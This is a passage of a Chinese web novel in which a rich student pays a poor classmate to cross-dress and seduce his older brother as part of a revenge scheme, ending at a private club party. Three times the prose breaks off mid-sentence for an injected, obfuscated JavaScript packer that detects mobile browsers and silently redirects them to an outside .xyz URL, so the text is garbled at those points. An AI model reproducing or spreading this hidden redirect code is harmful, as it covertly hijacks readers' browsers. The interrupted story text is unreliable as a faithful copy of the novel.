所以只能暂时默认他哥是个异性恋。 ——毕竟他家没有同性恋的基因。 刚开始意识到这点的时候,傅铮还挺烦躁,但很快,他换个角度思考,傅司珩要真是个异性恋,那让陶稚男扮女,似乎能更有效果。 试想一下,傅司珩真的爱上男扮女装的陶稚,而陶稚又帮他窃取到了商业机密,然后他再揭穿陶稚男生的身份…… 这不就让傅司珩受到了更加深刻的打击吗? 事业爱情在一瞬间全部失去。 哈。 一想到那个画面,傅司珩被打击到尘埃里的样子,傅铮就觉得自己爽到头皮发麻。 “傅铮……”陶稚总感觉他在想什么不好的主意,略微有些不安。 傅铮没应。 他依旧盯着陶稚看。 陶稚长得确实足够漂亮。 漂亮,单纯,天真,淳朴,他还会撒娇。 他哥应该会吃这一套。 傅铮笑了一声。 他的指腹托着陶稚的下巴向上抬了抬,目光与陶稚平视。 “……”陶稚觉得这个笑容很邪恶。 他有点担心自己。 4. 口水 傅铮把自己的计划和想法毫无保留地和陶稚说了。 陶稚听完只有:“?” “……” 啊……啊?啊! “你要是没什么意见的话,我们现在就可以开始行动了。”傅铮松开陶稚的脸。 乡下小地方来的土包子,这脸还怪软的。 雪白细腻,像云朵一样柔软的触感,完全颠覆了傅铮对于农村山沟沟的印象。 不都是土里土气的,还晒得黢黑吗?陶稚完全不一样。 白净漂亮,还性格好,没什么脾气。软绵绵的,让他做什么都乖乖应下。 啧。 傅铮捻了捻自己的手指,站直身体,稍微拉开了点两人的距离。 “等等,傅铮!”傅铮刚有所动作,陶稚立刻起身,抓住他的手臂不让走。 他现在着急死了:“我有意见啊!我有意见的!” “……我真的不行啊!”之前设想过最严重的事情就是傅铮哥哥万一真是个同性恋怎么办。 他是直男,怎么勾引同性恋啊。 一定会表现得很笨很蠢的。 到时候再把傅铮的计划搞砸了,肯定会被狠狠骂一顿。 这是陶稚能想到的,最严重的情况和后果。 但傅铮明显比他邪恶多了。 竟然能想出让他男扮女装去勾引的主意……陶稚的脑袋摇得跟个拨浪鼓似的,试图表达出自己真的做不到的决心来。 但傅铮心意已决。 他问陶稚:“那你还有什么更好的办法吗?” “啊?哎?”愣了愣,陶稚一下没反应过来。 怎么就变成他来想办法了? 好奇怪。 但他现在完全意识不到这点。 陶稚是个很容易顺着别人说的话往下走的类型。 他还真想了想。 五分钟后。 “……想不到。”陶稚呐呐。 “是吧。”傅铮抱臂,事情在他的意料之中。 “那就没办法了。” “可是……”陶稚还是觉得有哪里不对。 “没什么可是的,就这么说定了。”傅铮一言堂,不允许陶稚再发表任何意见。 陶稚:“……” QAQ - 于是陶稚就这么被赶鸭子上架了。 当然,傅铮是绝对不会亏待陶稚的。 他当场给陶稚转了五万块。 ……钱好像有点少,但这已经是傅铮目前能拿出来,给陶稚最多的金额了。 因为傅司珩把他的卡停了。 周末,来到宿舍把他揍了一顿后,回去就把他的卡停了。傅铮忍着怒气打电话过去质问,结果傅司珩把他拉黑。 傅铮差点被气死。 没办法,他只能去找远在大洋彼岸旅游的,亲爱的母亲。 可他母亲只给他打了十万块,并且十分怜爱又无奈地对他说:“小铮,妈妈也没有办法违逆你哥,这点钱你也不要说出去啊,省着点花,虽然有点少,但对大学生来说绝对够用了。” 傅铮:“……” 服了。 他就没这么穷过。 傅铮冷着脸收下这十万,还得说一句谢谢妈妈。 电话一挂,他就对着余额犯起了愁。 才十万。 啧。 傅铮原本是想将这十万块全部打给陶稚的。 他知道陶稚是从贫困山区里考出来的学生,家里不仅穷,还欠了外债,大学学费都是助学贷款,来外地读书,家里只给了几百块生活费,还得靠他到处兼职打工才能吃上饭。 总之,陶稚很缺钱。 十万块对傅铮来说很少,对陶稚来说,却是很大一笔巨款。 倒是勉强能唬他给自己办事。 大不了事成之后,再多给陶稚一点。 一开始傅铮是这么决定的,可临到转钱的时候,又想万一全部给了,没有拿捏他的手段了,似乎对自己来说很被动。 于是十万变五万。 少了一半。 但这对于没怎么见过世面的陶稚来说…… 晕晕乎乎迷迷瞪瞪地就答应了。 等人清醒过来的时候,他已经被傅铮拽着手腕走出了宿舍。 “……” 对陶稚来说,傅铮的性格实在太过强势。 而他,又一向应付不了这种类型的人。哪怕傅铮再过分一点,不给他钱,生拉硬拽威逼恐吓地非要他干这种事,他最后也可能屈服淫威答应下来。 陶稚很了解自己。 至少现在还落了个钱在手里。 ……想到了家里欠的外债,妹妹的学费生活费,妈妈的医药费。 钱是不可能还回去的。 他算是默认了傅铮的计划。 但走在路上时,还是忍不住问。 “傅铮,你跟你哥是不是同父异母,或者同母异父的兄弟啊。”陶稚小声地询问。 “哈?”傅铮懵了一下:“不是。” 咦。 陶稚又想了想。 才刷过三十多本小说的他,此刻的头脑非常有发散性。 “那就是……你是私生子吗?”说到最后三个字的时候,他的声音又小了一个度,还非常小心地往四周看了看,十分具有保护傅铮隐私的意识。 “……” “别乱猜了。”傅铮挺无语的:“是亲兄弟,一个妈肚子出来的。” “啊。”这下换陶稚懵了:“亲、亲兄弟啊。” ……亲兄弟,能想出这么阴损的招。 陶稚挠了挠自己的额角。 傅铮没理他,不过倒是松开了陶稚的手。 陶稚没跑,乖乖地继续跟着他走。 过了好一会儿,他似乎才想起来一个最重要的问题:“我们现在要去哪里?” 傅铮:“给你上点培训课。” 嗯……? - 所谓的培训课就是让人来教陶稚伪音。 这对陶稚来说有点难,学了两天依旧效果不显,但好在陶稚本身的嗓音就偏中性,像是没经历过男生变声期似的,嗓音清润温柔,不看脸的话,少说点话,稍微掐着点儿声音,应该也不至于穿帮。 毕竟傅司珩那个老处-男,从来没和女生交往过,不至于那么聪明。 傅铮打心眼里这么认为。 解决了声音问题,接下来就是形象的改造了。 周六的下午,陶稚跟着傅铮离开学校,来到一家商场的造型店。 “容槐呢?”傅铮进去轻车熟路,店员也认识他,喊了一声二少之后,很快将老板叫了出来。 老板是一个长发男生,出来后见到傅铮和他身边的陶稚,挑了下眉。 “我跟你说的,就他。”傅铮把陶稚推在了老板面前。 陶稚怪紧张的,见到陌生人后呼吸一滞。 容槐看见了,笑道:“可以呼吸。” 陶稚:“……” 傅铮:“……” 笨蛋。 真的要让这个笨蛋替他完成复仇大计吗? …… 算了。 也没有其他人可以用。 傅铮啧了一声。 来之前有跟容槐打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796037|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过招呼,但因为复仇计划需要保密,他也没有跟容槐说得太清楚。 不过容老板见多识广,只以为是情侣间在玩什么特殊的play,于是很自然地问道:“喜欢什么妆容?” 陶稚不知道。 他哪里知道这些事啊……连洗脸要用洗面奶都是读了大学才知道。 妆容什么的,完全就是在他的知识盲区。 陶稚将求助的目光投向傅铮。 傅铮想了想:“清纯一点的。” 他也不知道傅司珩的口味,就……随便试一下吧。 随便试试。 “ok。”容槐应下。 陶稚没有意见,从始至终他都乖乖的,傅铮让做什么就做什么。 看得怪招人疼。 容槐说了句别紧张,我不吃人之后就将他带走了。 一个小时后,陶稚再次出现在傅铮的面前。 傅铮当时正坐在等候室的沙发上玩游戏。 逆风局,打得很不爽,眉头皱着,表情看着也不善。 突然听见有人喊了一声“二少”,他不耐烦地抬起头,映入眼帘的,是换好女装的陶稚。 傅铮直接愣在当场。 他傻眼了。 因为站在他面前的,是一个无比清纯漂亮的妹妹。 不规则白色衬衫,衣身是系带设计,有点小小的心机感,却并不削弱清纯的感觉,搭配着刚过大腿的小短裙,简直把傅铮看得心脏砰砰直跳,像个傻-逼似的,呆呆站着,给不出任何反应。 陶稚被他看得心里发毛。 他太不习惯这样的穿搭了,裙子好短,从大腿到脚踝的位置全部露在外面,一双细长的腿,被店内的白炽灯照到发光……膝盖白里透粉。 “是不是很奇怪啊……”陶稚见傅铮一直没有说话,内心十分不安。 就说嘛,男生穿女装真的很奇怪啊,而且裙子还这么短,陶稚抿着唇,有些脸热地向下扯了扯,试图遮掩住什么。 但什么都遮掩不住。 反倒平添了一丝无措稚拙的青涩。 傅铮觉得他前段时间被傅司珩揍过的鼻子,好像伤口又复发了。 校医干什么吃的? “……不奇怪。”傅铮轻咳一声,语气十分不自然地否认,又错开视线。 可没过一会儿,他又转了回来。 偷偷去看陶稚的脸。 黑长直的头发,很清纯,脸上几乎看不出妆容的痕迹,只觉得皮肤非常清透,脸颊以及鼻头处,都微微泛着淡粉。 大概是因为害羞? 傅铮也不懂化妆品,不知道腮红是什么。 陶稚说话时嘴唇张合,涂在上面的唇釉有着蜜糖一般的光泽,上下唇碰到,好像发出了不存在的“啵”声。 ……操。 这简直就是。 女神级别。 傅铮头脑有点发昏,差点忘了自己是来干嘛的。 两人各自呆呆地站着。 容槐:“……” 最后还是他开口打破了寂静。 “怎么样,喜欢吗?”容槐问道。 “喜……”差点就顺着说出来了,傅铮连忙改口。 死装,皱着眉头,语气无所谓:“跟我喜欢有什么关系,这是傅司珩未来女朋友。” “啊?”容槐也呆了:“傅司珩?你哥啊?” “你哥未来女朋友?!” 傅铮嗯了一声。 容槐:“……” 神经病吧。 你口水都要流下来了你知道吗? 容槐现在看傅铮的眼神跟看傻子没有任何区别。 5. 弱智 现在的富二代都这么抽象的吗? 容槐此时的表情复杂极了,但他懒得说破,见此只是露出一个礼貌性的假笑,敷衍性地应了一句:“这样。” 傅铮又嗯了一声。 有种因为尴尬,所以什么都回,假装自己在和别人说话,显得很忙碌的感觉。 他确实在假装很忙碌。 什么都忙,眼神没空再继续往陶稚身上瞥。 就这么尴尬了好几分钟,傅铮头脑稍微冷静了一点,才想起来接下来要做的事情。 “那什么,多少钱。”傅铮的表情依旧不自然。 他重新拿起被自己遗忘的手机,屏幕上显示游戏输掉的结算画面,但他丝毫不在意:“我微信转给你?” “可以啊。”容槐说:“一共13888。” 傅铮:“?” 傅铮顿时不淡定了:“多少?!” “13888。”容槐又说了一遍。 但说完,他表情却是十分不解。 因为面前的这两个人,看上去都很惊讶。 傅铮的声音提高了一度,陶稚更是震惊地瞪圆了眼睛。 这是什么衣服啊,怎么能贵成这样……? 这下陶稚扯裙子的动作都变轻了,生怕给人家扯坏。 “对价格有什么疑问吗?”容槐给他们解释:“这是包含了今天一整套衣服外加造型化妆的费用。” “哦,对了。”顿了顿,容槐又补充:“我这里不出租衣服哦。” 傅铮:“……” 傅铮:“我知道。” 傅铮就算再穷那也不会给陶稚穿租来的衣服,这太丢面了。 他现在只庆幸还好自己有先见之明,提前留了一半的钱,不然今天要是付不起钱,那还真的挺丢脸的。 还是在笨蛋面前丢脸。 这是他绝对不会允许的事情。 现在至少保住了脸面。 傅铮动作迅速地给容槐转账。 到账的提示音响起,容老板这回露出了发自真心的笑容:“多谢二少,下次再来。” “……”还来得起个鬼。 傅铮捏着手机,看着屏幕上显示的余额,表情阴霾又茫然。 几秒后,他深吸一口气,喊着陶稚一块儿离开了。 - 陶稚真的很不适应穿女装。 衣服不太舒适,裙子又短,走路时总感觉裙边在往上跑,这让陶稚有种是不是在走光的感觉。 而且也不知道是不是心理原因,他总感觉路人好像在看他。从店里走到地下停车场的这段路,他表情很不自然地捂着裙子,亦步亦趋地跟在傅铮身后。 傅铮这会儿正在烦恼钱的事情,也没有空管他,一路上两人都没有说话,直到上车后,陶稚那种怪异的感觉才消散不少,后知后觉想起了一件最重要的事:“我们现在要去哪里?” 傅铮告诉了他一个名字。 陶稚表情茫然,显然没有听懂。 “一家会所。今天傅司珩有个朋友办派对,他在那儿。”傅铮是个很没有耐心的人,换在平时,他是不会对陶稚有问必答,还好声好气说话的。 ——虽然他的好声好气只是面无表情地回答而已。 但这样已经十分客气了。 以至于陶稚都有点受宠若惊的感觉,缓慢地“哦”了一声。 傅铮也“嗯”了一声,启动车子。 但马上,他又听到陶稚的问话。 “那到之后,我该做什么啊?” “勾引他。”傅铮回答。 “?” “……” “呃……怎么勾引?”陶稚又问。 傅铮:“?” 傅铮:“……” 陶稚:“0.0” 陶稚:“啊……” 刚驶出停车位的越野车停下,傅铮转头,看向陶稚。 陶稚也在看他。 两人大眼瞪小眼。 操。 傅铮卡壳了,他完全没有想过这个问题,一时之间愣在原地。 陶稚也没有想过,跟着他一起愣。 足足寂静了五分钟。 “勾引就是勾引啊,跟他说话,聊天之类的,让他对你感兴趣,然后让他喜欢上你就行了。” 毕竟陶稚其实是个男生,搞身体勾引那一套的话,一上床就得暴露,就只能跟傅司珩玩纯爱了。 傅铮觉得自己说得很清楚了,但陶稚还是没懂。 他想继续往下问,但这个时候,傅铮已经再次启动了车子。 他在开车,很忙,没空回答陶稚的话,让陶稚自己琢磨一下。 “……” 明明傅铮自己也不知道,却把这个艰巨的任务交给他。陶稚还是没忍住,在对傅铮心怀感激了一个星期之后,开始偷偷腹诽他真的很过分。 - 今天是一场好友间的私人聚会,地点定在蓝烟湾,是一家会员制的高端会所。 傅司珩刚搞定了和戚家的合作,今天晚上也难得放松。 他下午四点就从公司离开,来到这儿后,先发泄性地在拳馆释放了近两个月的压力。 别看傅司珩现在西装革履,生意场上八面玲珑,斯文又从容。 可实际上,傅司珩年轻时和现在完全是两副面孔。 攀岩,拳击,冲浪,跑酷,越野骑行都是他的爱好。 现在,也依旧保留着对这些爱好的训练。 但前几个月工作太忙,拳击馆有一段时间没有来了,傅司珩在这儿待了几乎三四个小时,直到体力耗尽,才拉开围绳走下台。 一旁的服务生等候多时,他下场后,对方递上毛巾,傅司珩接过擦脸,往休息区走去。 刚坐下,身旁就来了个人。 “咳。”那人先咳了一声,吸引傅司珩的注意力。 “有事说事。”傅司珩没空跟他搞些弯弯绕绕。 “是有点事。”坐在他旁边的人叫卫煜,是傅司珩多年的好友,也是这家会所的老板。 他告诉傅司珩:“今天傅铮会过来。” 其实是已经过来了。 会员制的私人会所,需要会员提前预约才能进入。 傅铮没来过这种地方,在门口给卫煜打电话。 卫煜才想起来有这件事。 “那天我不是喝多了吗。”卫煜说话时语气有点心虚:“就前几天,在我新开的那家酒吧,开业嘛,不知道怎么就撞见他了,他过来跟我打听你的事情。” 傅司珩擦脸的动作停下,侧头看向卫煜。 他的长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796038|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相偏硬朗,面部轮廓锋利,极具有攻击性。尤其这会儿刚打完拳,眼白中还泛着血丝,听到卫煜的话后眉骨下压,表情明显不爽。 ……看着就不好惹。 “咳,我喝多了嘛。”卫煜连忙为自己辩解:“而且他打听你的任何事我可都没有跟他说啊。” 卫煜是知道傅司珩不待见他那个弟的。 醉成那样了都不松口,他真的很坚决。 “但跟他说了我今天在这里。”傅司珩冷声接下卫煜没说完的话。 “对,对对……”小心机被点穿,卫煜现在心虚死了,但只能硬着头皮往下说:“他说他有事找你,但你不见他……” “那你猜我为什么不见他。”傅司珩扯了下唇,起身。 “不道啊。”卫煜亦步亦趋地跟在他身后:“但毕竟傅铮是你弟,人家想主动和你缓和关系,一直求我,我不好拒绝。” “我觉得你也不要太心狠了,亲兄弟哪有大矛盾的。” “要不你们趁着今天的机会,把误会和矛盾说开一下也好,是不是?” 傅司珩懒得理他,放下毛巾后走向拳馆的浴室。 卫煜没意识到,以为他是不是烦自己了才走开,又连忙跟上去,一直跟在他身后不停念叨。 直到来到浴室门口,傅司珩“砰”地一声把门关上,差点撞到卫煜的鼻子。 卫煜:“……” 好险啊。 卫煜倒吸了一口凉气,心想傅司珩可真凶残,活该快29了还是老处-男。 不会就是憋变态的吧。 他心有余悸地摸了摸自己的鼻子。 - 十分钟后,傅司珩出来了。 洗了个澡,换了一套裁剪得体,斯文温和的西装,遮掩住底下偾张的肌肉线条。 看着还挺人模人样的。 换好衣服后,他走出了拳馆,电梯上行至15楼。 蓝烟湾作为S市最大最奢华的娱乐会所,里面的设施一应俱全,拳馆,水疗中心,酒吧,私人影院,高空游泳池统统都有。 而在十五层的私密会馆,由引导的服务生验证指纹才可以进入。 今天几个朋友之间的聚会,来的人并不算多。 加上傅铮可能也才七八个。 但服务生将门打开的时候,傅司珩率先见到的,却是一个生面孔。 从来没有见过的女人,在门被拉开的一瞬间,便出现在了傅司珩的瞳孔中。 瓷白的一张脸,五官精致清丽。 她站在吧台的灯光下,被暖黄色的灯照得仿佛笼上了一层光晕似的。旁边有人跟她搭讪,她眼神略微有些惊慌,往后退了一步,摆摆手,似乎侧头喊了一声傅铮的名字。 傅铮在旁边和别人说话,听到后很快赶过去,她就挪到傅铮的身后,低头不自在地拉了拉裙子。 裙子很短,堪堪遮住大腿的位置,一截纤细匀长的大腿露在外面,包间里的空调凉飕飕的,吹得她腿根似乎隐隐有些发颤。 看着瘦,实际还挺有肉感。 …… 傅铮真就是个蠢货,半点脑子没有,全部的坏心思都写在脸上,猜都不用猜。 无聊,弱智。 跟个傻逼似的。 傅司珩嗤了一声,将包间的门关上。 6. 拙劣 傅铮带着陶稚来包间时,傅司珩不在,包间里有其他人。 傅司珩的朋友傅铮不太熟悉,两人的交际圈几乎没有重合的地方,也就是卫煜,有点儿沾亲带故的关系。 比如他姨妈的姐姐的姑母女儿是傅家二叔的老婆,加上新宅又隔得比较近,卫煜经常来他家玩,这才和傅铮熟络。 其余的,傅司珩生意上的伙伴,同学,朋友什么的,傅铮见都没见过。 不过他说他是傅司珩的弟弟,自然有人来搭话。 没多久傅铮被人叫走,陶稚一个人不安地站在吧台附近,眼神东张西望。 这里的空调开得可真低啊,出风口都不知道在哪里,就觉得裸-露在外的大腿凉飕飕的,陶稚只能尽力捂着自己的裙子,试图用那点可怜的布料阻挡一下。 没阻挡住,还招惹来了其他人。好在傅铮就在不远处,他看见后走过来,三言两语将对方打发走了。 那人见傅铮这护犊子的样子,也明白是什么意思,不再继续纠缠。 陶稚松了一口气。 之前答应傅铮的要求时,他纯属是被钱冲昏了头脑,现在来到陌生的地方开始打退堂鼓了,觉得这钱也不一定非要赚。 做人不能太贪心了。 对吧? “你哥不在,要不我们先走吧?”陶稚犹豫了片刻,很天真地撺掇着傅铮,小心翼翼又偷感十足地对他说:“我们可以再想想其他办法报复你哥啊……” “……” 傅铮完全没有听到,因为他现在正盯着陶稚的大腿看。 雪白细腻的大腿,陶稚整理裙子的时候,傅铮5.0的视力,很清晰地看见了他的大腿内侧,有一粒小小的黑痣。 好清晰。 他都不知道自己的视力竟然有这么好……这都能看见。 不对。 他能看见,那别人岂不是也能看见? 草。 容槐怎么给他穿这么短的裙子,不是说了要清纯的感觉吗? 傅铮现在又怪上容槐了。 他下意识想找个东西给陶稚遮遮,但环顾四周,什么都没有找到。他身上穿的也是短袖…… 傅铮低骂一声。 “?!” 又骂他?! 陶稚以为是自己打退堂鼓的行为让傅铮不爽了,顿时缩了缩脖子,很怂地不敢再说话。 “?” 怎么突然一副被吓到的样子。 傅铮抬头,原本想问陶稚怎么了。刚好那一瞬间,他听见关门的声音,便下意识往声音发出的地方望去。 傅司珩来了。 傅铮看见他走进来,西装革履人模狗样的。明明两人视线相接,他却当作没看见似的,错开目光,径直往包间的另一方向走去。 装货。 傅铮深吸了一口气,随手拿过吧台上酒保刚调好的一杯莫吉托。 他狠狠灌了自己一整杯,这才压下额角躁郁的小十字,冷酷地对陶稚说:“走。” 陶稚:“……呼。” 陶稚深吸深吐了一口气。 他现在压力还蛮大的。 …… 傅铮的目的非常明确,他直接带着陶稚坐在了傅司珩的旁边,傅司珩抬了下眼。 “哥。” 难得的一个尊称,傅司珩却完全不为所动,倒是陶稚,听到后手指莫名地抖了一下,因为这是他第一次听见傅铮这么心平气和地说话。 看来那杯冰酒确实让傅铮冷静不少。 “有事说事。”傅司珩嗓音冷淡,傅铮说话时,他看都没看他,只垂眼倒着自己的酒。 傅铮忍不住握紧了拳头。 大概是傅司珩不给面子,再开口时,他的声音僵硬了不少,陶稚提前写好的认错语都懒得背了,自己浓缩成了一句话。 “前段时间的事我知道错了,我不该跑去高中欺负人。” 陶稚:“……” “呵。”听了都觉得好笑的一句话,傅司珩也确实笑出了声。 嘲讽意味十足。 陶稚挠了挠脸。 他有一个妹妹,两人关系特别好,所以不是很明白为什么这俩兄弟相处时是这样的。 傅铮脾气不好,很容易被激怒。 傅司珩的态度这样……傅铮也确实被激怒了。 但复仇者不拘小节。 傅铮劝住自己,继续往下说了:“以后再也不会了,哥,我是诚心反省的。” “行了,我知道了。”傅司珩喝了一口威士忌,随即将酒杯放回到茶几上。 玻璃酒杯与矮桌相碰,发出的声音不大不小,刚好盖住傅铮保证下次再也不会的声音。 他似乎并不在意傅铮的道歉,也没有就着道歉,和他说说人生道理,管教管教弟弟之类,反而放下了酒杯,往后靠在沙发背上。 一双修长笔直的腿随意交叠,傅司珩的手搭在膝上,腕间戴着的百达翡丽映在傅铮的眼眸中。 傅司珩戴百达翡丽,而他因为13888险些在笨蛋面前丢面子。 傅铮恨得咬牙。 “还有事吗?”傅司珩神色淡淡地开口。 意思是没事就别在这里碍事了。 傅铮又深吸了一口气。 终于说到正题上了。 “没事了,哥。” “前面有个泳池,我去游泳,这是我同学,一个人在这里,挺无聊的,你帮忙多照看一下呗。” 说着,傅铮起身,特意将陶稚拉起来,推到和傅司珩同一张沙发上坐着。 “……” 傅司珩在此刻,终于给了傅铮一个眼神。 他侧头望过去,目光略过前面的傅铮,落在他身后的陶稚身上。 柔和白皙的颈侧线条。 ……绷得好紧。 像琴弦似的。 脖子很漂亮,黑发垂在颈侧。 清纯极了。 目光又很快收回。 “哦。”搭在膝上的手指无意识地捻了捻,傅司珩不咸不淡地应下。 - 傅铮走了。 现在该他了 临走的时候,傅铮还给他递了一个眼神。陶稚琢磨了一下,大概是只准成功不准失败的意思,可陶稚拿不准这个成功的点在哪里。 傅铮是想他今晚就把傅司珩拿下吗? 好难啊。 陶稚觉得头都大了,完全不知道该怎么做。 他脑海里快速搜索着自己前段时间看网络小说学到的东西,还没有想到,忽然感觉有一道目光落在自己身上。 陶稚下意识抬头,目光正好和傅司珩对视上。 漆黑的瞳孔,冷漠的神情。 陶稚只是看上一眼,就倍感压力地垂下了眼。 就跟以前初中还有高中的时候,悄悄地摸鱼,然后教室忽然寂静,他抬头,忽然和讲台上的老师目光对视上了。 很恐怖。 这样的感觉,让陶稚不自觉地坐得更端正了一点。 他的坐姿本来很乖很端正。 双手搭在自己的腿上,手指压着裙边,动作缓慢而又紧张地往下拉。 傅司珩的目光跟随着陶稚的小动作动。 裙子有点短,一截大腿露在外面。 大腿有点儿肉感,小腿笔直匀长,脚踝莹白如玉。 在女生里,她的身高算是很高了,大概有175以上。 手指又往下拉了拉裙,也不知道是紧张还是—— “冷?”傅司珩突然开口。 “哎?……啊。”一开始还没有意识到傅司珩在跟他说话,陶稚愣了几秒,抬头时才发现整个沙发附近就他和傅司珩两个人,于是匆匆忙忙应下,小鸡啄米似地点头:“是、是有点冷。” 说完,又觉得自己的表现很差劲。 小声打补丁:“没有很冷,只有一点点冷。” 傅司珩:“哦。” 傅司珩本来不想搭理她的。没有人会明知道前方有个陷阱,还傻兮兮地往下面跳。 这太蠢了。 更何况,还是个不怎么高明的陷阱。 看一眼都觉得降智。 …… 可是他先主动开口,对方回答了他,他要是不搭理,似乎显得很没有礼貌。 傅家有傅铮一个不礼貌的人就挺丢脸的了。 嗯,没错。 是这样。 思及此处,傅司珩脱下自己的西装外套递过去。 陶稚:“?” 陶稚没接,眼神像是不解,疑惑地看着他。 “盖在腿上。”傅司珩提醒。 “!” 这下明白过来了。 陶稚连忙开口:“谢谢您!” 然后迅速无比的,将昂贵的西装外套盖在自己的大腿上。 那种让他觉得不好意思又奇怪的感觉,在有了外套的遮挡之后消散了不少。 而且还因为刚脱下来,衣服上还带有傅司珩的体温。 有点暖。 腿上的温度仿佛传递到了心脏上面,他由衷地,再一次地向傅司珩说了句谢谢。 陶稚是个很纯粹的人。 别人对他表现出丁点儿善意,他都会觉得对方很好,并且露出一个腼腆又感激的笑容。 笑起来的时候,脸颊上有个浅浅的梨涡。 是那种可爱,真诚,又很治愈的笑容。 但对傅司珩完全无用。 他神色淡然,看上去丝毫不为所动。 陶稚也不在意这些。 他只是很单纯地表达下谢意而已,没想过用一个笑容来勾引傅司珩。 道完谢后,陶稚觉得可以顺势和傅司珩搭搭话,聊聊天之类的。 结果他还没开口,就被其他人打断了。 “我跟你说啊,刚刚Andy找我说,哎哟,这?”卫煜刚刚在门口的时候被人叫住聊了一会儿天,现在才过来找傅司珩。 结果没在傅司珩旁边看见傅铮,倒看见了傅铮带来的女伴。 呃……坐在傅司珩的旁边? 卫煜愣住,盯着陶稚看了好一会儿。 陶稚也仰着头在看他。 两人是有见过。 先前在会所门口时,傅铮给卫煜打电话,卫煜出去接他,两人短暂地见了一面。 傅铮确实不太礼貌。 当时卫煜就盯着陶稚看,露出一张很想知道眼前这个漂亮妹妹是谁的表情。结果傅铮不仅没介绍,他还把人拉到一旁,不让说话不让看。 以至于到现在,他才有机会打招呼。 “你好啊,你是傅铮带来的那个朋友对吧。”卫煜跟陶稚说话:“我,我大概也算是傅铮他哥吧,我叫卫煜。” “你跟他一起叫我卫哥就行。” 陶稚点了下头。 卫煜跟他说话时,朝他伸出了手,陶稚也连忙站起来,礼貌性地和他握了下手,小声:“你好……卫哥。” 伪音学得不怎么好,陶稚也不敢说太多话,打过招呼后又连忙坐下了。 怪高冷的。 卫煜心想,名字都不说。 不过声音挺好听,嫩得好像能掐出水来。 “傅铮呢?” 卫煜见陶稚坐在傅司珩的左边,于是自己绕到右边去了。 坐下后,他问傅司珩:“傅铮不是说要跟你认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796039|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错。” “认完错,游泳去了。”傅司珩淡声道。 “哦——”卫煜懂了,然后把他朋友留在这儿了是吧。 “朋友”本人,陶稚同学,听到有人谈论他,又坐端正了。 但只是简单地提了一嘴,卫煜很快又说起了别的事情。 这让陶稚有松了一口气的感觉。 沙发这边紧绷着的气氛也因为有他的加入,而变得缓和不少。 他们在聊天,倒也不避着陶稚,开始谈论起了什么合作,公司的事情。 陶稚规规矩矩地坐着,听了一耳朵,却没有特意往下记。 ——因为这不在傅铮交给他的任务之内。 陶稚开始摸鱼。 这也是没有办法的事情的嘛,毕竟傅司珩现在不理他,和别人聊天,他总不好插嘴啊,多冒昧啊。 陶稚很懂礼貌。 但卫煜大概是觉得陶稚干坐着很无聊,正巧,旁边有个服务生,他让人去拿果盘,然后喊陶稚吃水果。 陶稚推托了两句,卫煜坚持,没办法,他只好接过。 这个季节竟然有车厘子吃,还有好些认都不认识的水果……很好吃。 陶稚拿着叉子专心吃东西,不一会儿,又来了个端着酒的服务生,卫煜自己拿了一杯,还劝陶稚也来一杯。 酒,陶稚是肯定喝不了的。 他上次碰酒还是高考结束之后的谢师宴呢,喝了几杯啤酒就晕乎乎的,更何况这些看起来很高级的洋酒了。 他连忙摆手:“抱歉,我不会喝酒……” “不会喝酒?”卫煜愣了一下。 不能理解这个世界还有不会喝酒的人,卫煜表情疑惑,可看了一眼陶稚后就明白了。 合理,正常,清纯妹妹不会喝酒很符合人设。 ——但这丝毫不影响他劝酒。 “有果酒啊,度数很低的,尝尝呗。”卫煜从傅司珩的旁边探出脑袋和陶稚说话,示意服务生帮忙递上一杯。 蜜桃口味的小甜酒,陶稚接下后尝了一口,甜甜的,跟喝果汁没有什么区别,也能品出里面含有的一丁点儿酒精。 度数应该也很低。 但果酒陶稚也不敢喝太多,怕坏了傅铮的事,只小口小口抿着。 安顿好了陶稚,傅司珩和卫煜继续聊。 陶稚坐着乖乖吃水果,吃零食,再用果酒润润喉,抽空想了想待会儿卫煜走了,他要怎么向傅司珩搭话。还有,万一卫煜不走呢,他搭不上话,是不是今晚就这么过去了? 怀揣着对卫煜美好的愿望,一时之间,陶稚还变得松弛了不少。 可惜没能松弛多久。 陶稚的手机忽然震动了好多下,他疑惑地打开,迎面就是傅铮的一连串信息。 【你在干嘛?就坐在旁边一声不吭吃东西?】 【我不是叫你勾引傅司珩吗?】 【不准再吃了!!!】 对方撤回了一条消息。 那条不准再吃了消失,傅铮换成了:【回去我买给你吃。你现在去跟傅司珩搭话!不准摸鱼!】 陶稚:“……” 哎。 怎么这么快就被发现了。 陶稚叹了一口气。 